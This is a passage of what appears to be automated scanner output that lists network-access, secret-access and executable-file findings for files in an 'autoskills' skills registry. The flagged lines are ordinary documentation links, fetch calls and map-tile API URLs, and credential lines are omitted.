    Reference: [formState](https://react-hook-form.com/docs/useform/formstate) · [useFormState](https://react-hook-form.com/docs/useformstate)

packages/autoskills/skills-registry/react-hook-form/references/formstate-handlesubmit-oninvalid.md

  • Network accessline 57
    Reference: [handleSubmit](https://react-hook-form.com/docs/useform/handlesubmit)

packages/autoskills/skills-registry/react-hook-form/references/formstate-reset-default-values.md

  • Network accessline 70
    Reference: [useForm - resetDefaultValues](https://react-hook-form.com/docs/useform/resetdefaultvalues)

packages/autoskills/skills-registry/react-hook-form/references/formstate-useformstate-isolation.md

  • Network accessline 71
    Reference: [useFormState](https://react-hook-form.com/docs/useformstate)

packages/autoskills/skills-registry/react-hook-form/references/integ-shadcn-form-import.md

  • Network accessline 64
    Reference: [shadcn Form](https://ui.shadcn.com/docs/components/form)

packages/autoskills/skills-registry/react-hook-form/references/integ-shadcn-select-wiring.md

  • Network accessline 64
    Reference: [shadcn Select](https://ui.shadcn.com/docs/components/select)

packages/autoskills/skills-registry/react-hook-form/references/integ-value-transform.md

  • Network accessline 59
    Reference: [React Hook Form - Advanced Usage](https://react-hook-form.com/advanced-usage)

packages/autoskills/skills-registry/react-hook-form/references/sub-avoid-watch-in-render.md

  • Network accessline 48
    Reference: [useForm - getValues](https://react-hook-form.com/docs/useform/getvalues)

packages/autoskills/skills-registry/react-hook-form/references/sub-memo-cannot-beat-context.md

  • Network accessline 51
    Reference: [FormProvider](https://react-hook-form.com/docs/formprovider) · [useFormState](https://react-hook-form.com/docs/useformstate)

packages/autoskills/skills-registry/react-hook-form/references/sub-render-prop-components.md

  • Network accessline 76
    Reference: [useWatch](https://react-hook-form.com/docs/usewatch) · [useFieldArray](https://react-hook-form.com/docs/usefieldarray)

packages/autoskills/skills-registry/react-hook-form/references/sub-subscribe-outside-react.md

  • Network accessline 92
    Reference: [subscribe](https://react-hook-form.com/docs/useform/subscribe) · [Release notes v7.55.0](https://github.com/react-hook-form/react-hook-form/releases/tag/v7.55.0)

packages/autoskills/skills-registry/react-hook-form/references/sub-useformcontext-sparingly.md

  • Network accessline 58
    Reference: [useFormContext](https://react-hook-form.com/docs/useformcontext)

packages/autoskills/skills-registry/react-hook-form/references/sub-usewatch-over-watch.md

  • Network accessline 60
    Reference: [useWatch](https://react-hook-form.com/docs/usewatch)

packages/autoskills/skills-registry/react-hook-form/references/sub-watch-specific-fields.md

  • Network accessline 54
    Reference: [useForm - watch](https://react-hook-form.com/docs/useform/watch)

packages/autoskills/skills-registry/react-hook-form/references/valid-delay-error.md

  • Network accessline 62
    Reference: [useForm - delayError](https://react-hook-form.com/docs/useform) · [useForm - setValue](https://react-hook-form.com/docs/useform/setvalue)

packages/autoskills/skills-registry/react-hook-form/references/valid-resolver-caching.md

  • Network accessline 82
    Reference: [React Hook Form Resolvers](https://github.com/react-hook-form/resolvers)

packages/autoskills/skills-registry/react-hook-form/references/valid-server-errors.md

  • Network accessline 18
    const onSubmit = async (data: LoginFormData) => {     const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) })
  • Network accessline 19
    const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) })
  • Network accessline 47
    clearErrors('root.serverError')     try {       const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) })
  • Network accessline 48
    try {       const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) })       if (!res.ok) {
  • Network accessline 49
    const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) })
  • Network accessline 85
    Reference: [setError](https://react-hook-form.com/docs/useform/seterror) · [Discussion #9691 — Handle global/server errors](https://github.com/orgs/react-hook-form/discussions/9691)

packages/autoskills/skills-registry/react-hook-form/references/valid-valueasnumber-empty-nan.md

  • Network accessline 68
    Reference: [register - valueAsNumber](https://react-hook-form.com/docs/useform/register)

packages/autoskills/skills-registry/redis-core/SKILL.md

  • Network accessline 66
    - [Redis: Choosing the right data type](https://redis.io/docs/latest/develop/data-types/compare-data-types/)
  • Network accessline 67
    - [Redis: Keys](https://redis.io/docs/latest/develop/use/keyspace/)

packages/autoskills/skills-registry/redis-core/references/choose-data-structure.md

  • Network accessline 67
    Reference: [Choosing the Right Data Type](https://redis.io/docs/latest/develop/data-types/compare-data-types/)

packages/autoskills/skills-registry/redis-core/references/key-naming.md

  • Network accessline 41
    // Bad: Using full URL as key wastes memory and slows comparisons jedis.set("http://www.verylongurlkey.com/store/products/product.html?id=8361",
  • Network accessline 42
    jedis.set("http://www.verylongurlkey.com/store/products/product.html?id=8361",
  • Network accessline 53
    Reference: [Redis Keys](https://redis.io/docs/latest/develop/use/keyspace/)

packages/autoskills/skills-registry/refactor-module/SKILL.md

  • Network accessline 527
    # Use semantic versioning for modules module "vpc" {   source  = "git::https://github.com/org/terraform-modules.git//vpc?ref=v1.2.0"
  • Network accessline 528
    module "vpc" {   source  = "git::https://github.com/org/terraform-modules.git//vpc?ref=v1.2.0"   version = "~> 1.2"
  • Network accessline 529
    source  = "git::https://github.com/org/terraform-modules.git//vpc?ref=v1.2.0"
  • Network accessline 548
    ## Related Skills - [Terraform code generation](https://raw.githubusercontent.com/hashicorp/agent-skills/refs/heads/main/plugins/terraform/skills/terraform-style-guide/SKILL.md) - Style guide for the new Terraform Module
  • Network accessline 549
    - [Terraform code generation](https://raw.githubusercontent.com/hashicorp/agent-skills/refs/heads/main/plugins/terraform/skills/terraform-style-guide/SKILL.md) - Style guide for the new Terraform Module
  • Network accessline 550
    - [Azure Verified Modules](https://raw.githubusercontent.com/hashicorp/agent-skills/refs/heads/main/plugins/terraform/skills/azure-verified-modules/SKILL.md) - Recommended module specifications for Azure
  • Network accessline 552
    ## Resources - [Terraform Module Development](https://developer.hashicorp.com/terraform/language/modules/develop)
  • Network accessline 553
    - [Terraform Module Development](https://developer.hashicorp.com/terraform/language/modules/develop)
  • Network accessline 554
    - [Module Best Practices](https://developer.hashicorp.com/terraform/cloud-docs/registry/design)

packages/autoskills/skills-registry/remotion-best-practices/SKILL.md

  • Network accessline 60
    If the server is already started, it will print the URL. If you use `--no-open`, open the exact printed URL in the in-app browser and verify that Studio loads. Once a composition exists, verify that its video preview loads. If you cannot op
  • Network accessline 62
    You can visit a specific composition by navigating to `/[composition-id]`, for example `http://localhost:3000/MapAnimation`.

packages/autoskills/skills-registry/remotion-best-practices/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/REFERENCE.md

  • Network accessline 7
    All captions must be processed in JSON. The captions must use the [`Caption`](https://www.remotion.dev/docs/captions/caption.md) type which is the following:

packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/display-captions.md

  • Network accessline 10
    This guide explains how to display captions in Remotion, assuming you already have captions in the [`Caption`](https://www.remotion.dev/docs/captions/caption.md) format.
  • Network accessline 16
    First, the [`@remotion/captions`](https://www.remotion.dev/docs/captions.md) package needs to be installed.
  • Network accessline 28
    Use the [Basic Captions](https://www.remotion.dev/elements/captions/basic-captions) element to display captions.
  • Network accessline 30
    Alternatives are available at [Remotion Captions Elements](https://www.remotion.dev/elements/captions), but use Basic Captions unless there are more precise specifications.
  • Network accessline 32
    Fetch its source code from https://www.remotion.dev/elements/captions/basic-captions.md and copy the `basic-captions.tsx` file into the project unchanged.

packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/import-srt-captions.md

  • Network accessline 41
    const fetchCaptions = useCallback(async () => {     try {       const response = await fetch(staticFile("subtitles.srt"));
  • Network accessline 42
    try {       const response = await fetch(staticFile("subtitles.srt"));       const text = await response.text();
  • Network accessline 43
    const response = await fetch(staticFile("subtitles.srt"));
  • Network accessline 69
    Remote URLs are also supported - you can `fetch()` a remote file via URL instead of using `staticFile()`.

packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/transcribe-captions.md

  • Network accessline 3
    To transcribe audio to generate captions in Remotion, use the [`transcribe()`](https://www.remotion.dev/docs/whisper-webgpu/transcribe.md) function from the [`@remotion/whisper-webgpu`](https://www.remotion.dev/docs/whisper-webgpu.md) packa
  • Network accessline 139
    `small.en` is the recommended default for English.   For other languages, use a multilingual model such as `small` and pass the `language` option to `transcribe()` - automatic language detection is not supported.   See [`getAvailableModels(
  • Network accessline 141
    See [`getAvailableModels()`](https://www.remotion.dev/docs/whisper-webgpu/get-available-models.md) for all models.
  • Network accessline 145
    In the browser, use [`resampleTo16Khz()`](https://www.remotion.dev/docs/whisper-webgpu/resample-to-16khz.md) to get the waveform from a `File` instead of using Mediabunny:

packages/autoskills/skills-registry/remotion-best-practices/remotion-create/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-create/tailwind.md

  • Network accessline 11
    Tailwind must be installed and enabled first in a Remotion project - see https://www.remotion.dev/docs/tailwind.

packages/autoskills/skills-registry/remotion-best-practices/remotion-docs/REFERENCE.md

  • Network accessline 15
    [Credential-related source omitted]
  • Network accessline 36
    https://www.remotion.dev/docs/use-video-config.md
  • Network accessline 37
    https://www.remotion.dev/docs/sequence.md
  • Network accessline 38
    https://www.remotion.dev/docs/lambda/rendermediaonlambda.md

packages/autoskills/skills-registry/remotion-best-practices/remotion-docs/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-interactivity/REFERENCE.md

  • Network accessline 36
    <Video         name="Background footage"         src="https://remotion.media/video.mp4"
  • Network accessline 37
    name="Background footage"         src="https://remotion.media/video.mp4"         premountFor={fps}
  • Network accessline 38
    src="https://remotion.media/video.mp4"
  • Network accessline 119
    Nested markup and computed children are currently read-only. `text-content` is a deprecated alias for the `string` field type. See [`InteractivitySchema`](https://www.remotion.dev/docs/interactivity-schema) for all options.
  • Network accessline 121
    See [`InteractivitySchema`](https://www.remotion.dev/docs/interactivity-schema) for all options.
  • Network accessline 262
    Launch day   </Interactive.Div>   <Img name="Avatar" src="https://remotion.media/image.jpeg" />
  • Network accessline 263
    </Interactive.Div>   <Img name="Avatar" src="https://remotion.media/image.jpeg" />   <Video name="Background" src="https://remotion.media/video.mp4" />
  • Network accessline 264
    <Img name="Avatar" src="https://remotion.media/image.jpeg" />
  • Network accessline 265
    <Video name="Background" src="https://remotion.media/video.mp4" />
  • Network accessline 479
    To make a custom userland component interactive, use: [Make a component interactive](https://www.remotion.dev/docs/studio/make-component-interactive.md)
  • Network accessline 480
    [Make a component interactive](https://www.remotion.dev/docs/studio/make-component-interactive.md)

packages/autoskills/skills-registry/remotion-best-practices/remotion-interactivity/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/TECHNIQUE.md

  • Network accessline 23
    Create a MapTiler key at https://cloud.maptiler.com/account/keys/.
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 31
    Create a billing-enabled Google Map Tiles API key by following https://developers.google.com/maps/documentation/tile/get-api-key. Enable the **Map Tiles API** and
  • Network accessline 32
    https://developers.google.com/maps/documentation/tile/get-api-key. Enable the **Map Tiles API** and restrict the key to that API. Ensure its application restriction permits local headless Remotion requests.

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/assets/CesiumFlythrough.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 31
    const CESIUM_VER = '1.143'; const CDN = `https://cesium.com/downloads/cesiumjs/releases/${CESIUM_VER}/Build/Cesium/`; const R = 6371;
  • Network accessline 32
    const CDN = `https://cesium.com/downloads/cesiumjs/releases/${CESIUM_VER}/Build/Cesium/`;
  • Network accessline 177
    if (mode === 'landscape' && !MAPTILER_KEY) { 				throw new Error( 					'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/',
  • Network accessline 178
    throw new Error( 					'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/', 				);
  • Network accessline 179
    'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/',
  • Network accessline 182
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 183
    throw new Error( 					'Set REMOTION_GOOGLE_MAPS_API_KEY. Create a Map Tiles API key at https://developers.google.com/maps/documentation/tile/get-api-key', 				);
  • Network accessline 184
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Network accessline 209
    viewer.imageryLayers.addImageryProvider( 					new C.UrlTemplateImageryProvider({ 						url: `https://api.maptiler.com/tiles/satellite-v2/{z}/{x}/{y}.jpg?key=${MAPTILER_KEY}`,
  • Network accessline 210
    new C.UrlTemplateImageryProvider({ 						url: `https://api.maptiler.com/tiles/satellite-v2/{z}/{x}/{y}.jpg?key=${MAPTILER_KEY}`, 						maximumLevel: 20,
  • Network accessline 211
    [Credential-related source omitted]
  • Access to secretsline 211
    [Credential-related source omitted]
  • Network accessline 214
    ); 				viewer.terrainProvider = await C.CesiumTerrainProvider.fromUrl( 					`https://api.maptiler.com/tiles/terrain-quantized-mesh-v2/?key=${MAPTILER_KEY}`,
  • Network accessline 215
    viewer.terrainProvider = await C.CesiumTerrainProvider.fromUrl( 					`https://api.maptiler.com/tiles/terrain-quantized-mesh-v2/?key=${MAPTILER_KEY}`, 					{requestVertexNormals: true},
  • Network accessline 216
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Network accessline 219
    viewer.creditDisplay.addStaticCredit( 					new C.Credit( 						'<a href="https://www.maptiler.com/copyright/" target="_blank">&copy; MapTiler</a>',
  • Network accessline 220
    new C.Credit( 						'<a href="https://www.maptiler.com/copyright/" target="_blank">&copy; MapTiler</a>', 						true,
  • Network accessline 221
    '<a href="https://www.maptiler.com/copyright/" target="_blank">&copy; MapTiler</a>',
  • Network accessline 227
    viewer.scene.globe.show = false; 				const tileset = await C.Cesium3DTileset.fromUrl( 					`https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_MAPS_API_KEY}`,
  • Network accessline 228
    const tileset = await C.Cesium3DTileset.fromUrl( 					`https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_MAPS_API_KEY}`, 					{
  • Network accessline 229
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/assets/example-Root.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/assets/flight-path.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/references/3d-data-sources.md

  • Network accessline 14
    - https://cloud.maptiler.com/account/keys/
  • Network accessline 18
    - https://docs.maptiler.com/cesium/
  • Network accessline 19
    - https://docs.maptiler.com/schema-raster/terrain-3d/
  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 29
    - https://developers.google.com/maps/documentation/tile/get-api-key
  • Network accessline 36
    - https://developers.google.com/maps/documentation/tile/3d-tiles
  • Network accessline 37
    - https://developers.google.com/maps/documentation/tile/policies

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/references/3d-flyover-architecture.md

  • Network accessline 22
    viewer.scene.globe.show = false; const tileset = await Cesium.Cesium3DTileset.fromUrl(   `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_KEY}`,
  • Network accessline 23
    const tileset = await Cesium.Cesium3DTileset.fromUrl(   `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_KEY}`,   {showCreditsOnScreen: true, maximumScreenSpaceError: 4},
  • Network accessline 24
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/scripts/prep-cesium-path.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/mapbox/TECHNIQUE.md

  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maplibre/TECHNIQUE.md

  • Network accessline 83
    URL.createObjectURL( 				new Blob( 					[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`],
  • Network accessline 84
    new Blob( 					[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], 					{type: 'text/javascript'},
  • Network accessline 85
    [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`],
  • Network accessline 91
    const mapInstance = new maplibregl.Map({ 			container: containerRef.current, 			style: 'https://demotiles.maplibre.org/style.json',
  • Network accessline 92
    container: containerRef.current, 			style: 'https://demotiles.maplibre.org/style.json', 			center: zurich,
  • Network accessline 93
    style: 'https://demotiles.maplibre.org/style.json',
  • Network accessline 228
    URL.createObjectURL( 				new Blob( 					[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`],
  • Network accessline 229
    new Blob( 					[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], 					{type: 'text/javascript'},
  • Network accessline 230
    [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`],
  • Network accessline 236
    const mapInstance = new maplibregl.Map({ 			container: containerRef.current, 			style: 'https://demotiles.maplibre.org/style.json',
  • Network accessline 237
    container: containerRef.current, 			style: 'https://demotiles.maplibre.org/style.json', 			center: zurich,
  • Network accessline 238
    style: 'https://demotiles.maplibre.org/style.json',
  • Network accessline 471
    style: 'https://demotiles.maplibre.org/style.json'

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/TECHNIQUE.md

  • Network accessline 13
    Use `jumpTo` only for a static shot, or a fixed map plate for any pan/zoom. Gate with [`delayRender`](https://www.remotion.dev/docs/delay-render.md) until `map.once('idle')`.
  • Network accessline 14
    Gate with [`delayRender`](https://www.remotion.dev/docs/delay-render.md) until `map.once('idle')`.
  • Network accessline 18
    Render labels as positioned [`<Interactive.Div>`](https://www.remotion.dev/docs/interactive.md) elements.
  • Access to secretsline 20
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/CountryLabel.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/MapTilerVectorElement.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 27
    map.addSource(SOURCE_ID, { 			type: 'vector', 			url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`,
  • Network accessline 28
    type: 'vector', 			url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`, 		});
  • Network accessline 29
    url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`,
  • Access to secretsline 63
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/RiverReveal.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 22
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/example-Root.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/tokens.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/references/map-data-sources.md

  • Access to secretsline 38
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/scripts/prep-geo.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/REFERENCE.md

  • Network accessline 131
    style={{ width: 100, height: 100 }}       />       <Video src="https://remotion.media/video.mp4" premountFor={fps} />
  • Network accessline 132
    />       <Video src="https://remotion.media/video.mp4" premountFor={fps} />       <AnimatedImage src={staticFile('nyancat.gif')} premountFor={fps} />
  • Network accessline 133
    <Video src="https://remotion.media/video.mp4" premountFor={fps} />
  • Network accessline 162
    <Video         name="Background"         src="https://remotion.media/video.mp4"
  • Network accessline 163
    name="Background"         src="https://remotion.media/video.mp4"         premountFor={fps}
  • Network accessline 164
    src="https://remotion.media/video.mp4"

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/audio-visualization.md

  • Network accessline 18
    Use `useWindowedAudioData()` (https://www.remotion.dev/docs/use-windowed-audio-data) to load audio data:
  • Network accessline 37
    Use `visualizeAudio()` (https://www.remotion.dev/docs/visualize-audio) to get frequency data for bar charts:
  • Network accessline 91
    Use `visualizeAudioWaveform()` (https://www.remotion.dev/docs/media-utils/visualize-audio-waveform) with `createSmoothSvgPath()` (https://www.remotion.dev/docs/media-utils/create-smooth-svg-path) for oscilloscope-style displays:
  • Network accessline 163
    Use `getWaveformPortion()` (https://www.remotion.dev/docs/get-waveform-portion) when you need simplified volume data instead of frequency spectrum:

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/audio.md

  • Network accessline 37
    <Audio src="https://remotion.media/audio.mp3" />

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/calculate-metadata.md

  • Network accessline 20
    width={1920}   height={1080}   defaultProps={{ videoSrc: "https://remotion.media/video.mp4" }}
  • Network accessline 21
    height={1080}   defaultProps={{ videoSrc: "https://remotion.media/video.mp4" }}   calculateMetadata={calculateMetadata}
  • Network accessline 22
    defaultProps={{ videoSrc: "https://remotion.media/video.mp4" }}
  • Network accessline 110
    abortSignal, }) => {   const response = await fetch(props.dataUrl, { signal: abortSignal });
  • Network accessline 111
    }) => {   const response = await fetch(props.dataUrl, { signal: abortSignal });   const data = await response.json();
  • Network accessline 112
    const response = await fetch(props.dataUrl, { signal: abortSignal });

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/compositions.md

  • Network accessline 169
    <>   <Video src="https://remotion.media/video.mp4" />
  • Network accessline 170
    <Video src="https://remotion.media/video.mp4" />

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/effects.md

  • Network accessline 11
    Docs: https://www.remotion.dev/docs/effects
  • Network accessline 12
    Custom effect docs: https://www.remotion.dev/docs/create-effect
  • Network accessline 44
    <Video   src="https://remotion.media/video.mp4"
  • Network accessline 45
    src="https://remotion.media/video.mp4"
  • Network accessline 78
    <Video   src="https://remotion.media/video.mp4"
  • Network accessline 79
    src="https://remotion.media/video.mp4"

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/embedding-videos.md

  • Network accessline 36
    <Video src="https://remotion.media/video.mp4" />

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/gifs.md

  • Network accessline 31
    <AnimatedImage   src="https://example.com/animation.gif"
  • Network accessline 32
    src="https://example.com/animation.gif"

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/html-in-canvas.md

  • Network accessline 102
    For a fully working minimal example, see https://github.com/remotion-dev/remotion/blob/main/packages/docs/components/demos/HtmlInCanvasDocsDemoWebGL.tsx.

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/lottie.md

  • Network accessline 42
    useEffect(() => {     fetch("https://assets4.lottiefiles.com/packages/lf20_zyquagfl.json")
  • Network accessline 43
    fetch("https://assets4.lottiefiles.com/packages/lf20_zyquagfl.json")

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/motion-blur.md

  • Network accessline 60
    If HTML-in-canvas is unavailable, see the [motion blur guide](https://www.remotion.dev/docs/motion-blur) for other options. See the [`<HtmlInCanvasMotionBlur>` reference](https://www.remotion.dev/docs/motion-blur/html-in-canvas-motion-blur)

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/TECHNIQUE.md

  • Network accessline 23
    Create a MapTiler key at https://cloud.maptiler.com/account/keys/.
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 31
    Create a billing-enabled Google Map Tiles API key by following https://developers.google.com/maps/documentation/tile/get-api-key. Enable the **Map Tiles API** and
  • Network accessline 32
    https://developers.google.com/maps/documentation/tile/get-api-key. Enable the **Map Tiles API** and restrict the key to that API. Ensure its application restriction permits local headless Remotion requests.

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/assets/CesiumFlythrough.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 31
    const CESIUM_VER = '1.143'; const CDN = `https://cesium.com/downloads/cesiumjs/releases/${CESIUM_VER}/Build/Cesium/`; const R = 6371;
  • Network accessline 32
    const CDN = `https://cesium.com/downloads/cesiumjs/releases/${CESIUM_VER}/Build/Cesium/`;
  • Network accessline 177
    if (mode === 'landscape' && !MAPTILER_KEY) { 				throw new Error( 					'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/',
  • Network accessline 178
    throw new Error( 					'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/', 				);
  • Network accessline 179
    'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/',
  • Network accessline 182
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 183
    throw new Error( 					'Set REMOTION_GOOGLE_MAPS_API_KEY. Create a Map Tiles API key at https://developers.google.com/maps/documentation/tile/get-api-key', 				);
  • Network accessline 184
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Network accessline 209
    viewer.imageryLayers.addImageryProvider( 					new C.UrlTemplateImageryProvider({ 						url: `https://api.maptiler.com/tiles/satellite-v2/{z}/{x}/{y}.jpg?key=${MAPTILER_KEY}`,
  • Network accessline 210
    new C.UrlTemplateImageryProvider({ 						url: `https://api.maptiler.com/tiles/satellite-v2/{z}/{x}/{y}.jpg?key=${MAPTILER_KEY}`, 						maximumLevel: 20,
  • Network accessline 211
    [Credential-related source omitted]
  • Access to secretsline 211
    [Credential-related source omitted]
  • Network accessline 214
    ); 				viewer.terrainProvider = await C.CesiumTerrainProvider.fromUrl( 					`https://api.maptiler.com/tiles/terrain-quantized-mesh-v2/?key=${MAPTILER_KEY}`,
  • Network accessline 215
    viewer.terrainProvider = await C.CesiumTerrainProvider.fromUrl( 					`https://api.maptiler.com/tiles/terrain-quantized-mesh-v2/?key=${MAPTILER_KEY}`, 					{requestVertexNormals: true},
  • Network accessline 216
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Network accessline 219
    viewer.creditDisplay.addStaticCredit( 					new C.Credit( 						'<a href="https://www.maptiler.com/copyright/" target="_blank">&copy; MapTiler</a>',
  • Network accessline 220
    new C.Credit( 						'<a href="https://www.maptiler.com/copyright/" target="_blank">&copy; MapTiler</a>', 						true,
  • Network accessline 221
    '<a href="https://www.maptiler.com/copyright/" target="_blank">&copy; MapTiler</a>',
  • Network accessline 227
    viewer.scene.globe.show = false; 				const tileset = await C.Cesium3DTileset.fromUrl( 					`https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_MAPS_API_KEY}`,
  • Network accessline 228
    const tileset = await C.Cesium3DTileset.fromUrl( 					`https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_MAPS_API_KEY}`, 					{
  • Network accessline 229
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/assets/example-Root.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/assets/flight-path.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/references/3d-data-sources.md

  • Network accessline 14
    - https://cloud.maptiler.com/account/keys/
  • Network accessline 18
    - https://docs.maptiler.com/cesium/
  • Network accessline 19
    - https://docs.maptiler.com/schema-raster/terrain-3d/
  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 29
    - https://developers.google.com/maps/documentation/tile/get-api-key
  • Network accessline 36
    - https://developers.google.com/maps/documentation/tile/3d-tiles
  • Network accessline 37
    - https://developers.google.com/maps/documentation/tile/policies

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/references/3d-flyover-architecture.md

